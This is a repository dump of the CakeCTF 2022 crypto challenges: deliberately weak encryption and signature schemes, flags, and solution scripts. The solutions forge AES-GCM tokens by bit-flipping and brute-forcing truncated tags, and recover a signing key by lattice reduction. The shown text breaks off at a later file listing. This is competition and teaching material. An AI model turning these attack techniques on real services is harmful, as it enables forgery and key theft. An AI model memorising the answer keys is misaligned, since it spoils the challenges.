├── README.md
├── crypto
├── brand_new_crypto
│ ├── build.bash
│ ├── challenge
│ │ └── task.py
│ ├── distfiles
│ │ ├── output.txt
│ │ └── task.py
│ ├── solution
│ │ └── solve.py
│ └── task.yml
├── frozen_cake
│ ├── build.bash
│ ├── challenge
│ │ └── task.py
│ ├── distfiles
│ │ ├── output.txt
│ │ └── task.py
│ ├── solution
│ │ └── solve.py
│ └── task.yml
├── hi_yoshiking
│ ├── Dockerfile
│ ├── Makefile
│ ├── challenge
│ │ └── server.rb
│ ├── distfiles
│ │ └── server.rb
│ ├── docker-compose.yml
│ ├── solution
│ │ └── solve.py
│ └── task.yml
└── rock_door
│ ├── Dockerfile
│ ├── build.bash
│ ├── challenge
│ └── server.py
│ ├── distfiles
│ └── server.py
│ ├── docker-compose.yml
│ ├── solution
│ └── solve.sage
│ └── task.yml
├── misc
├── c_sandbox
│ ├── Dockerfile
│ ├── challenge
│ │ ├── CMakeLists.txt
│ │ ├── compiler.py
│ │ ├── ctf.xinetd
│ │ ├── flag.txt
│ │ ├── init.sh
│ │ ├── redir.sh
│ │ └── sandbox.cpp
│ ├── distfiles
│ │ ├── CMakeLists.txt
│ │ ├── Dockerfile
│ │ ├── compiler.py
│ │ ├── libCSandbox.so
│ │ └── sandbox.cpp
│ ├── docker-compose.yml
│ ├── solution
│ │ └── solve.c
│ └── task.yml
├── cake_memory
│ ├── challenge
│ │ ├── Cargo.toml
│ │ ├── resources
│ │ │ └── snd
│ │ │ │ ├── beep
│ │ │ │ ├── click.wav
│ │ │ │ ├── correct.wav
│ │ │ │ └── wrong.wav
│ │ │ │ └── voice
│ │ │ │ ├── blue.wav
│ │ │ │ ├── burgundy.wav
│ │ │ │ ├── cake.wav
│ │ │ │ ├── coquelicot.wav
│ │ │ │ ├── e.wav
│ │ │ │ ├── flag.wav
│ │ │ │ ├── g.wav
│ │ │ │ ├── green.wav
│ │ │ │ ├── heart.wav
│ │ │ │ ├── j.wav
│ │ │ │ ├── kitten.wav
│ │ │ │ ├── lambda.wav
│ │ │ │ ├── omega.wav
│ │ │ │ ├── orange.wav
│ │ │ │ ├── pi.wav
│ │ │ │ ├── question.wav
│ │ │ │ ├── r1.wav
│ │ │ │ ├── r2.wav
│ │ │ │ ├── r3.wav
│ │ │ │ ├── r4.wav
│ │ │ │ ├── r5.wav
│ │ │ │ ├── red.wav
│ │ │ │ ├── smiley.wav
│ │ │ │ ├── tangerine.wav
│ │ │ │ ├── theta.wav
│ │ │ │ ├── turquoise.wav
│ │ │ │ ├── violet.wav
│ │ │ │ ├── white.wav
│ │ │ │ └── yellow.wav
│ │ └── src
│ │ │ └── main.rs
│ ├── distfiles
│ │ ├── CakeMemory.exe
│ │ ├── CakeMemory.linux
│ │ ├── hint.rs
│ │ └── resources
│ │ │ └── snd
│ │ │ ├── beep
│ │ │ ├── click.wav
│ │ │ ├── correct.wav
│ │ │ └── wrong.wav
│ │ │ └── voice
│ │ │ ├── blue.wav
│ │ │ ├── burgundy.wav
│ │ │ ├── cake.wav
│ │ │ ├── coquelicot.wav
│ │ │ ├── e.wav
│ │ │ ├── flag.wav
│ │ │ ├── g.wav
│ │ │ ├── green.wav
│ │ │ ├── heart.wav
│ │ │ ├── j.wav
│ │ │ ├── kitten.wav
│ │ │ ├── lambda.wav
│ │ │ ├── omega.wav
│ │ │ ├── orange.wav
│ │ │ ├── pi.wav
│ │ │ ├── question.wav
│ │ │ ├── r1.wav
│ │ │ ├── r2.wav
│ │ │ ├── r3.wav
│ │ │ ├── r4.wav
│ │ │ ├── r5.wav
│ │ │ ├── red.wav
│ │ │ ├── smiley.wav
│ │ │ ├── tangerine.wav
│ │ │ ├── theta.wav
│ │ │ ├── turquoise.wav
│ │ │ ├── violet.wav
│ │ │ ├── white.wav
│ │ │ └── yellow.wav
│ └── task.yml
├── matsushima3
│ ├── distfiles
│ │ ├── client
│ │ │ ├── LICENSE.txt
│ │ │ ├── game.py
│ │ │ ├── requirements.txt
│ │ │ └── resource.pyxres
│ │ ├── docker-compose.yml
│ │ ├── redis
│ │ │ ├── Dockerfile
│ │ │ └── redis.conf
│ │ └── server
│ │ │ ├── Dockerfile
│ │ │ ├── app.py
│ │ │ └── uwsgi.ini
│ ├── docker-compose.yml
│ ├── solution
│ │ └── game.mod.py
│ └── task.yml
└── readme2022
│ ├── Dockerfile
│ ├── distfiles
│ ├── Dockerfile
│ └── server.py
│ ├── docker-compose.yml
│ └── task.yml
├── pwn
├── crc32pwn
│ ├── challenge
│ │ ├── 01_build.sh
│ │ ├── 02_start.sh
│ │ ├── Dockerfile
│ │ ├── Makefile
│ │ ├── crc32sum
│ │ ├── crc32sum.c
│ │ ├── flag.txt
│ │ └── pwn.xinetd
│ ├── distfiles
│ │ ├── 01_build.sh
│ │ ├── 02_start.sh
│ │ ├── Dockerfile
│ │ ├── crc32sum
│ │ ├── crc32sum.c
│ │ └── flag.txt
│ ├── solution
│ │ └── exploit.sh
│ └── task.yml
├── smal_arey
│ ├── Dockerfile
│ ├── challenge
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── init.sh
│ │ ├── main.c
│ │ ├── pwn.xinetd
│ │ └── redir.sh
│ ├── distfiles
│ │ ├── chall
│ │ ├── ld-2.31.so
│ │ ├── libc-2.31.so
│ │ └── main.c
│ ├── docker-compose.yml
│ ├── solution
│ │ └── solve.py
│ └── task.yml
├── str_vs_cstr
│ ├── Dockerfile
│ ├── challenge
│ │ ├── Makefile
│ │ ├── flag.txt
│ │ ├── init.sh
│ │ ├── main.cpp
│ │ ├── pwn.xinetd
│ │ └── redir.sh
│ ├── distfiles
│ │ ├── chall
│ │ └── main.cpp
│ ├── docker-compose.yml
│ ├── solution
│ │ └── solve.py
│ └── task.yml
└── welkerme
│ ├── challenge
│ ├── pwn.xinetd
│ ├── qemu
│ │ ├── bzImage
│ │ ├── rootfs.cpio
│ │ └── run_qemu.sh
│ └── src
│ │ ├── Makefile
│ │ ├── driver.c
│ │ └── driver.ko
│ ├── distfiles
│ ├── Makefile
│ ├── README.ja.md
│ ├── README.md
│ ├── debug.sh
│ ├── exploit.c
│ ├── run.sh
│ ├── src
│ │ └── driver.c
│ └── vm
│ │ ├── bzImage
│ │ ├── debugfs.cpio
│ │ └── rootfs.cpio
│ ├── solution
│ └── exploit.c
│ └── task.yml
├── rev
├── kiwi
│ ├── Dockerfile
│ ├── challenge
│ │ ├── Makefile
│ │ ├── cakectf.hpp
│ │ ├── cakectf.kiwi
│ │ ├── ctf.xinetd
│ │ ├── flag.txt
│ │ ├── init.sh
│ │ ├── kiwi.h
│ │ ├── main.cpp
│ │ └── redir.sh
│ ├── distfiles
│ │ ├── chall
│ │ └── flag.txt
│ ├── docker-compose.yml
│ ├── solution
│ │ └── solve.py
│ └── task.yml
├── luau
│ ├── challenge
│ │ ├── Makefile
│ │ ├── gen.py
│ │ ├── main.lua
│ │ └── src_libflag.lua
│ ├── distfiles
│ │ ├── libflag.lua
│ │ └── main.lua
│ ├── solution
│ │ └── solve.py
│ └── task.yml
├── nimrev
│ ├── challenge
│ │ ├── Makefile
│ │ └── main.nim
│ ├── distfiles
│ │ └── chall
│ └── task.yml
└── zundamon
│ ├── challenge
│ ├── Makefile
│ └── main.c
│ ├── distfiles
│ ├── evidence.pcapng
│ └── zundamon
│ ├── solution
│ └── solve.py
│ └── task.yml
└── web
├── cakegear
├── Dockerfile
├── challenge
│ └── flag.txt
├── distfiles
│ ├── Dockerfile
│ ├── admin.php
│ └── index.php
├── docker-compose.yml
├── solution
│ └── solve.py
└── task.yml
├── imagesurfing
├── Dockerfile
├── challenge
│ └── flag.txt
├── distfiles
│ ├── Dockerfile
│ ├── flag.txt
│ └── index.php
├── docker-compose.yml
├── solution
│ └── solve.py
└── task.yml
├── openbio
├── distfiles
│ ├── crawler
│ │ ├── Dockerfile
│ │ ├── crawler.js
│ │ └── package.json
│ ├── docker-compose.yml
│ ├── redis
│ │ ├── Dockerfile
│ │ └── redis.conf
│ └── service
│ │ ├── Dockerfile
│ │ ├── app.py
│ │ ├── templates
│ │ ├── index.html
│ │ ├── login.html
│ │ └── profile.html
│ │ └── uwsgi.ini
├── docker-compose.yml
├── solution
│ ├── gen.py
│ └── template.html
└── task.yml
└── panda_memo
├── Dockerfile
├── build_docker.sh
├── cake_chef.sh
├── distfiles
├── Dockerfile
├── package.json
├── server.js
└── views
│ ├── admin.html
│ └── index.html
├── flag.txt
├── secret.txt
├── solution
└── solve.py
├── task.yml
└── web.xinetd
/README.md:
--------------------------------------------------------------------------------
1 | # CakeCTF 2022
2 |
3 | - https://2022.cakectf.com/
4 | - https://ctftime.org/event/1683
5 |
6 |
7 | ## authors
8 |
9 | - [theoldmoon0602](https://github.com/theoremoon)
10 | - [ptr-yudai](https://github.com/ptr-yudai)
11 | - [yoshiking](https://github.com/y05h1k1ng)
12 |
--------------------------------------------------------------------------------
/crypto/brand_new_crypto/build.bash:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | set -ex
3 |
4 | export FLAG=CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}
5 | case $1 in
6 | clean)
7 | rm -rf ./distfiles
8 | ;;
9 |
10 | *)
11 | rm -rf ./distfiles
12 | mkdir -p ./distfiles
13 | python3 ./challenge/task.py > ./distfiles/output.txt
14 | cp ./challenge/task.py ./distfiles
15 | ;;
16 | esac
17 |
--------------------------------------------------------------------------------
/crypto/brand_new_crypto/challenge/task.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
2 | import os
3 |
4 | flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
5 |
6 |
7 | def keygen():
8 | p = getPrime(512)
9 | q = getPrime(512)
10 |
11 | n = p * q
12 | phi = (p-1)*(q-1)
13 |
14 | while True:
15 | a = getRandomRange(0, phi)
16 | b = phi + 1 - a
17 |
18 | s = getRandomRange(0, phi)
19 | t = -s*a * inverse(b, phi) % phi
20 |
21 | if GCD(b, phi) == 1:
22 | return (s, t, n), (a, b, n)
23 |
24 |
25 | def enc(m, k):
26 | s, t, n = k
27 | r = getRandomRange(0, n)
28 | return m * pow(r, s, n) % n, m * pow(r, t, n) % n
29 |
30 |
31 | def dec(c1, c2, k):
32 | a, b, n = k
33 | return pow(c1, a, n) * pow(c2, b, n) % n
34 |
35 |
36 | pubkey, privkey = keygen()
37 |
38 | c = []
39 | for m in flag:
40 | c1, c2 = enc(m, pubkey)
41 | assert dec(c1, c2, privkey)
42 |
43 | c.append((c1, c2))
44 |
45 | print(pubkey)
46 | print(c)
47 |
48 |
--------------------------------------------------------------------------------
/crypto/brand_new_crypto/distfiles/task.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime, getRandomRange, inverse, GCD
2 | import os
3 |
4 | flag = os.getenv("FLAG", "FakeCTF{sushi_no_ue_nimo_sunshine}").encode()
5 |
6 |
7 | def keygen():
8 | p = getPrime(512)
9 | q = getPrime(512)
10 |
11 | n = p * q
12 | phi = (p-1)*(q-1)
13 |
14 | while True:
15 | a = getRandomRange(0, phi)
16 | b = phi + 1 - a
17 |
18 | s = getRandomRange(0, phi)
19 | t = -s*a * inverse(b, phi) % phi
20 |
21 | if GCD(b, phi) == 1:
22 | break
23 | return (s, t, n), (a, b, n)
24 |
25 |
26 | def enc(m, k):
27 | s, t, n = k
28 | r = getRandomRange(0, n)
29 |
30 | c1, c2 = m * pow(r, s, n) % n, m * pow(r, t, n) % n
31 | assert (c1 * inverse(m, n) % n) * inverse(c2 * inverse(m, n) % n, n) % n == pow(r, s - t, n)
32 | assert pow(r, s -t ,n) == c1 * inverse(c2, n) % n
33 | return m * pow(r, s, n) % n, m * pow(r, t, n) % n
34 |
35 |
36 | def dec(c1, c2, k):
37 | a, b, n = k
38 | return pow(c1, a, n) * pow(c2, b, n) % n
39 |
40 |
41 | pubkey, privkey = keygen()
42 |
43 | c = []
44 | for m in flag:
45 | c1, c2 = enc(m, pubkey)
46 | assert dec(c1, c2, privkey)
47 |
48 | c.append((c1, c2))
49 |
50 | print(pubkey)
51 | print(c)
52 |
53 |
--------------------------------------------------------------------------------
/crypto/brand_new_crypto/solution/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import inverse
2 |
3 | key, c = open("output.txt").read().strip().split("\n")
4 |
5 | s, t, n = eval(key)
6 | c = eval(c)
7 |
8 | flag = []
9 | for (c1, c2) in c:
10 | for m in range(0x20, 0x7f):
11 | rs = c1 * inverse(m, n) % n
12 | rst = pow(rs, t, n)
13 | c2s = pow(c2, s, n)
14 |
15 | ms = c2s * inverse(rst, n) % n
16 | if pow(m, s, n) == ms:
17 | flag.append(m)
18 | break
19 | else:
20 | raise ValueError("XP")
21 | print(bytes(flag))
22 |
23 |
24 |
25 |
26 |
27 |
--------------------------------------------------------------------------------
/crypto/brand_new_crypto/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: brand new crypto
3 | description: >
4 |
One day, I came up with a brand-new idea.
5 | flag: "CakeCTF{s0_anyway_tak3_car3_0f_0n3_byt3_p1aint3xt}"
6 | author: theoremoon
7 | tags:
8 | - crypto
9 | is_survey: false
10 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/build.bash:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | set -ex
3 |
4 | export FLAG=CakeCTF{oh_you_got_a_tepid_cake_sorry}
5 | case $1 in
6 | clean)
7 | rm -rf ./distfiles
8 | ;;
9 |
10 | *)
11 | rm -rf ./distfiles
12 | mkdir -p ./distfiles
13 | python3 ./challenge/task.py > ./distfiles/output.txt
14 | cp ./challenge/task.py ./distfiles
15 | ;;
16 | esac
17 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/challenge/task.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime
2 | import os
3 |
4 | flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
5 | m = int(flag.encode().hex(), 16)
6 |
7 | p = getPrime(512)
8 | q = getPrime(512)
9 |
10 | n = p*q
11 |
12 | print("n =", n)
13 | print("a =", pow(m, p, n))
14 | print("b =", pow(m, q, n))
15 | print("c =", pow(m, n, n))
16 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/distfiles/output.txt:
--------------------------------------------------------------------------------
1 | n = 101205131618457490641888226172378900782027938652382007193297646066245321085334424928920128567827889452079884571045344711457176257019858157287424646000972526730522884040459357134430948940886663606586037466289300864147185085616790054121654786459639161527509024925015109654917697542322418538800304501255357308131
2 | a = 38686943509950033726712042913718602015746270494794620817845630744834821038141855935687477445507431250618882887343417719366326751444481151632966047740583539454488232216388308299503129892656814962238386222995387787074530151173515835774172341113153924268653274210010830431617266231895651198976989796620254642528
3 | b = 83977895709438322981595417453453058400465353471362634652936475655371158094363869813512319678334779139681172477729044378942906546785697439730712057649619691929500952253818768414839548038664187232924265128952392200845425064991075296143440829148415481807496095010301335416711112897000382336725454278461965303477
4 | c = 21459707600930866066419234194792759634183685313775248277484460333960658047171300820279668556014320938220170794027117386852057041210320434076253459389230704653466300429747719579911728990434338588576613885658479123772761552010662234507298817973164062457755456249314287213795660922615911433075228241429771610549
5 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/distfiles/task.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime
2 | import os
3 |
4 | flag = os.getenv("FLAG", "FakeCTF{warmup_a_frozen_cake}")
5 | m = int(flag.encode().hex(), 16)
6 |
7 | p = getPrime(512)
8 | q = getPrime(512)
9 |
10 | n = p*q
11 |
12 | print("n =", n)
13 | print("a =", pow(m, p, n))
14 | print("b =", pow(m, q, n))
15 | print("c =", pow(m, n, n))
16 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/solution/solve.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import inverse
2 |
3 | with open("output.txt") as f:
4 | n = int(f.readline().strip().split(" = ")[1])
5 | a = int(f.readline().strip().split(" = ")[1])
6 | b = int(f.readline().strip().split(" = ")[1])
7 | c = int(f.readline().strip().split(" = ")[1])
8 |
9 | m = inverse(c * inverse(a*b, n) % n, n)
10 | print(bytes.fromhex(hex(m)[2:]))
11 |
--------------------------------------------------------------------------------
/crypto/frozen_cake/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: frozen cake
3 | description: >
4 | oh your cake is frozen. please warm it up and get the first cake.
5 | flag: "CakeCTF{oh_you_got_a_tepid_cake_sorry}"
6 | author: theoremoon
7 | tags:
8 | - crypto
9 | - warmup
10 | is_survey: false
11 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM ruby:3-slim-bullseye
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get update && apt-get install -yqq socat
6 | ADD challenge/server.rb server.rb
7 |
8 | ENV flag "CakeCTF{hi_yoshiking_lets_go_sushi}"
9 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"ruby server.rb"
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/Makefile:
--------------------------------------------------------------------------------
1 | build:
2 | rm -rf distfiles
3 | mkdir -p distfiles
4 | cp ./challenge/server.rb ./distfiles
5 |
6 | clean:
7 | rm -rf distfiles
8 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/challenge/server.rb:
--------------------------------------------------------------------------------
1 | require 'openssl'
2 | require 'json'
3 |
4 | class String
5 | def hex
6 | return self.unpack("H*")[0]
7 | end
8 |
9 | def unhex
10 | return [self].pack("H*")
11 | end
12 | end
13 |
14 |
15 | STDOUT.sync = true
16 | key = OpenSSL::Random.random_bytes(32)
17 |
18 | while true
19 | puts "1: create your token\n2: login with your token"
20 | print "> "
21 |
22 | case gets.strip.to_i
23 | when 1 then
24 | iv = OpenSSL::Random.random_bytes(12)
25 | print "your name: "
26 |
27 | name = gets.strip
28 | encryptor = OpenSSL::Cipher.new('AES-256-GCM')
29 | encryptor.encrypt
30 | encryptor.key = key
31 | encryptor.iv = iv
32 |
33 | token = encryptor.update(JSON.generate({
34 | "username" => name,
35 | "is_yoshiking" => false,
36 | })) + encryptor.final
37 | puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}"
38 |
39 | when 2 then
40 | print "your token: "
41 |
42 | begin
43 | iv, c, tag = gets.strip.split(":").map(&:unhex)
44 |
45 | decryptor = OpenSSL::Cipher.new('AES-256-GCM')
46 | decryptor.decrypt
47 | decryptor.key = key
48 | decryptor.iv = iv
49 | decryptor.auth_tag = tag
50 |
51 | data = JSON.parse(decryptor.update(c) + decryptor.final)
52 |
53 | if data["username"] == "yoshiking" and data["is_yoshiking"] then
54 | raise "I know it is fake at all" unless tag.size == 16
55 | puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}"
56 | else
57 | puts "hello #{data["username"]}"
58 | end
59 |
60 | rescue => e
61 | p e
62 | end
63 |
64 | else
65 | break
66 | end
67 | end
68 |
69 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/distfiles/server.rb:
--------------------------------------------------------------------------------
1 | require 'openssl'
2 | require 'json'
3 |
4 | class String
5 | def hex
6 | return self.unpack("H*")[0]
7 | end
8 |
9 | def unhex
10 | return [self].pack("H*")
11 | end
12 | end
13 |
14 |
15 | STDOUT.sync = true
16 | key = OpenSSL::Random.random_bytes(32)
17 |
18 | while true
19 | puts "1: create your token\n2: login with your token"
20 | print "> "
21 |
22 | case gets.strip.to_i
23 | when 1 then
24 | iv = OpenSSL::Random.random_bytes(12)
25 | print "your name: "
26 |
27 | name = gets.strip
28 | encryptor = OpenSSL::Cipher.new('AES-256-GCM')
29 | encryptor.encrypt
30 | encryptor.key = key
31 | encryptor.iv = iv
32 |
33 | token = encryptor.update(JSON.generate({
34 | "username" => name,
35 | "is_yoshiking" => false,
36 | })) + encryptor.final
37 | puts "your token: #{iv.hex}:#{token.hex}:#{encryptor.auth_tag.hex}"
38 |
39 | when 2 then
40 | print "your token: "
41 |
42 | begin
43 | iv, c, tag = gets.strip.split(":").map(&:unhex)
44 |
45 | decryptor = OpenSSL::Cipher.new('AES-256-GCM')
46 | decryptor.decrypt
47 | decryptor.key = key
48 | decryptor.iv = iv
49 | decryptor.auth_tag = tag
50 |
51 | data = JSON.parse(decryptor.update(c) + decryptor.final)
52 |
53 | if data["username"] == "yoshiking" and data["is_yoshiking"] then
54 | raise "I know it is fake at all" unless tag.size == 16
55 | puts "I'm glad you could come, yoshiking. Here is the flag: #{ENV["flag"] || "fakeCTF{yoyooyoyoyyoo_shikiiiiiiiing}"}"
56 | else
57 | puts "hello #{data["username"]}"
58 | end
59 |
60 | rescue => e
61 | p e
62 | end
63 |
64 | else
65 | break
66 | end
67 | end
68 |
69 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | yo:
4 | build: ./
5 | ports:
6 | - 10333:9999
7 | restart: unless-stopped
8 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/solution/solve.py:
--------------------------------------------------------------------------------
1 | from ptrlib import Socket, xor
2 |
3 | sock = Socket("localhost", 10333)
4 |
5 | sock.sendlineafter("> ", "1")
6 | sock.sendlineafter("name: ", "yoshiking")
7 | iv, token, tag = [bytes.fromhex(x) for x in sock.recvlineafter("token: ").strip().decode().split(":")]
8 |
9 | key = xor(
10 | '{"username":"yoshiking","is_yoshiking":false}',
11 | '{"username":"yoshiking","is_yoshiking": true}',
12 | )
13 | token = xor(token, key)
14 |
15 | known_tag = b""
16 | for i in range(16):
17 | for tag in range(256):
18 | sock.sendlineafter("> ", "2")
19 | sock.sendlineafter("token: ", "{}:{}:{}".format(
20 | iv.hex(),
21 | token.hex(),
22 | (known_tag + bytes([tag])).hex(),
23 | ))
24 |
25 | line = sock.recvline().decode()
26 | if "CipherError" not in line:
27 | known_tag = known_tag + bytes([tag])
28 | if i == 15:
29 | print(line)
30 | quit()
31 | break
32 |
33 |
34 |
--------------------------------------------------------------------------------
/crypto/hi_yoshiking/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: hi yoshiking
3 | description: >
4 | Hello, I prepared a special flag for yoshiking, not for you!
5 | nc {host} {port}
6 | flag: "CakeCTF{hi_yoshiking_lets_go_sushi}"
7 | author: theoremoon
8 | host: crypto.2022.cakectf.com
9 | port: 10333
10 | tags:
11 | - crypto
12 | is_survey: false
13 |
--------------------------------------------------------------------------------
/crypto/rock_door/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10-slim-buster
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get update && apt-get install -yqq socat
6 | RUN pip install pycryptodome
7 | ADD challenge/server.py server.py
8 |
9 | ENV FLAG "CakeCTF{uum_hash_is_too_small_compared_to_modulus}"
10 | CMD socat TCP-L:9999,fork,reuseaddr EXEC:"python server.py"
11 |
12 |
--------------------------------------------------------------------------------
/crypto/rock_door/build.bash:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | #!/bin/bash
4 | set -ex
5 |
6 | case $1 in
7 | clean)
8 | rm -rf ./distfiles
9 | ;;
10 |
11 | *)
12 | rm -rf ./distfiles
13 | mkdir -p ./distfiles
14 | cp ./challenge/server.py ./distfiles/server.py
15 | ;;
16 | esac
17 |
--------------------------------------------------------------------------------
/crypto/rock_door/challenge/server.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
2 | from hashlib import sha256
3 | import os
4 | import secrets
5 |
6 |
7 | def h(s: bytes) -> int:
8 | return int(sha256(s).hexdigest(), 16)
9 |
10 |
11 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
12 | p = 2*q + 1
13 |
14 | assert isPrime(p)
15 | assert isPrime(q)
16 |
17 | g = 2
18 | flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}")
19 | x = h(secrets.token_bytes(16) + flag.encode())
20 | y = pow(g, x, p)
21 |
22 |
23 | def sign(m: bytes):
24 | z = h(m)
25 | k = h(long_to_bytes(x + z))
26 | r = h(long_to_bytes(pow(g, k, p)))
27 | s = (z + x*r) * inverse(k, q) % q
28 | return r, s
29 |
30 |
31 | def verify(m: bytes, r: int, s: int):
32 | z = h(m)
33 | sinv = inverse(s, q)
34 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
35 | r2 = h(long_to_bytes(gk))
36 | return r == r2
37 |
38 |
39 | print("p =", p)
40 | print("g =", g)
41 | print("y =", y)
42 |
43 | print("=== sign ===")
44 | m = input("m = ").strip().encode()
45 | if b"goma" in m:
46 | quit()
47 |
48 | r, s = sign(m)
49 | # print("r =", r) do you really need?
50 | print("s =", s)
51 |
52 | print("=== verify ===")
53 | m = input("m = ").strip().encode()
54 | r = int(input("r = "))
55 | s = int(input("s = "))
56 | assert 0 < r < q
57 | assert 0 < s < q
58 |
59 | ok = verify(m, r, s)
60 | if ok and m == b"hirake goma":
61 | print(flag)
62 | elif ok:
63 | print("OK")
64 | else:
65 | print("NG")
66 |
--------------------------------------------------------------------------------
/crypto/rock_door/distfiles/server.py:
--------------------------------------------------------------------------------
1 | from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
2 | from hashlib import sha256
3 | import os
4 | import secrets
5 |
6 |
7 | def h(s: bytes) -> int:
8 | return int(sha256(s).hexdigest(), 16)
9 |
10 |
11 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
12 | p = 2*q + 1
13 |
14 | assert isPrime(p)
15 | assert isPrime(q)
16 |
17 | g = 2
18 | flag = os.getenv("FLAG", "FakeCTF{hahaha_shshsh_hashman}")
19 | x = h(secrets.token_bytes(16) + flag.encode())
20 | y = pow(g, x, p)
21 |
22 |
23 | def sign(m: bytes):
24 | z = h(m)
25 | k = h(long_to_bytes(x + z))
26 | r = h(long_to_bytes(pow(g, k, p)))
27 | s = (z + x*r) * inverse(k, q) % q
28 | return r, s
29 |
30 |
31 | def verify(m: bytes, r: int, s: int):
32 | z = h(m)
33 | sinv = inverse(s, q)
34 | gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
35 | r2 = h(long_to_bytes(gk))
36 | return r == r2
37 |
38 |
39 | print("p =", p)
40 | print("g =", g)
41 | print("y =", y)
42 |
43 | print("=== sign ===")
44 | m = input("m = ").strip().encode()
45 | if b"goma" in m:
46 | quit()
47 |
48 | r, s = sign(m)
49 | # print("r =", r) do you really need?
50 | print("s =", s)
51 |
52 | print("=== verify ===")
53 | m = input("m = ").strip().encode()
54 | r = int(input("r = "))
55 | s = int(input("s = "))
56 | assert 0 < r < q
57 | assert 0 < s < q
58 |
59 | ok = verify(m, r, s)
60 | if ok and m == b"hirake goma":
61 | print(flag)
62 | elif ok:
63 | print("OK")
64 | else:
65 | print("NG")
66 |
--------------------------------------------------------------------------------
/crypto/rock_door/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | dsa:
4 | build: ./
5 | ports:
6 | - 10987:9999
7 | restart: unless-stopped
8 |
--------------------------------------------------------------------------------
/crypto/rock_door/solution/solve.sage:
--------------------------------------------------------------------------------
1 | from ptrlib import Socket
2 | from hashlib import sha256
3 | from Crypto.Util.number import long_to_bytes, inverse
4 |
5 | def thues_lemma(a, mod):
6 | R = Zmod(mod)
7 | A = matrix([
8 | [1, a],
9 | [0, mod]
10 | ])
11 | A = A.LLL()
12 | return int(abs(A[0][0])), int(abs(A[0][1]))
13 |
14 | def h(s: bytes) -> int:
15 | return int(sha256(s).hexdigest(), 16)
16 |
17 |
18 | g = 2
19 | def sign(m: bytes):
20 | z = h(m)
21 | k = h(long_to_bytes(x + z))
22 | r = h(long_to_bytes(pow(g, k, p)))
23 | s = (z + x*r) * inverse(k, q) % q
24 | return r, s
25 |
26 | q = 139595134938137125662213161156181357366667733392586047467709957620975239424132898952897224429799258317678109670496340581564934129688935033567814222358970953132902736791312678038626149091324686081666262178316573026988062772862825383991902447196467669508878604109723523126621328465807542441829202048500549865003
27 | p = 2*q + 1
28 |
29 | sock = Socket("localhost", 9999)
30 | m = b"the quick brown fox"
31 |
32 | sock.sendlineafter("m = ", m)
33 | # r = int(sock.recvlineafter("r = "))
34 | s = int(sock.recvlineafter("s = "))
35 |
36 | t, k = thues_lemma(s, q)
37 | if k > t:
38 | t, k = k, t
39 | r = h(long_to_bytes(pow(g, k, p)))
40 | x = (t - h(m)) * inverse(r, q) % q
41 |
42 | m2 = b"hirake goma"
43 | r2, s2 = sign(m2)
44 |
45 | sock.sendlineafter("m = ", m2)
46 | sock.sendlineafter("r = ", str(r2))
47 | sock.sendlineafter("s = ", str(s2))
48 |
49 | print(sock.recvline())
50 |
--------------------------------------------------------------------------------
/crypto/rock_door/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: Rock Door
3 | description: >
4 | If the Rock Door had verified the signature, Alibaba could have done nothing.
5 | nc {host} {port}
6 | flag: "CakeCTF{uum_hash_is_too_small_compared_to_modulus}"
7 | author: theoremoon
8 | host: crypto.2022.cakectf.com
9 | port: 10987
10 | tags:
11 | - crypto
12 | - lunatic
13 | is_survey: false
14 |
--------------------------------------------------------------------------------
/misc/c_sandbox/Dockerfile:
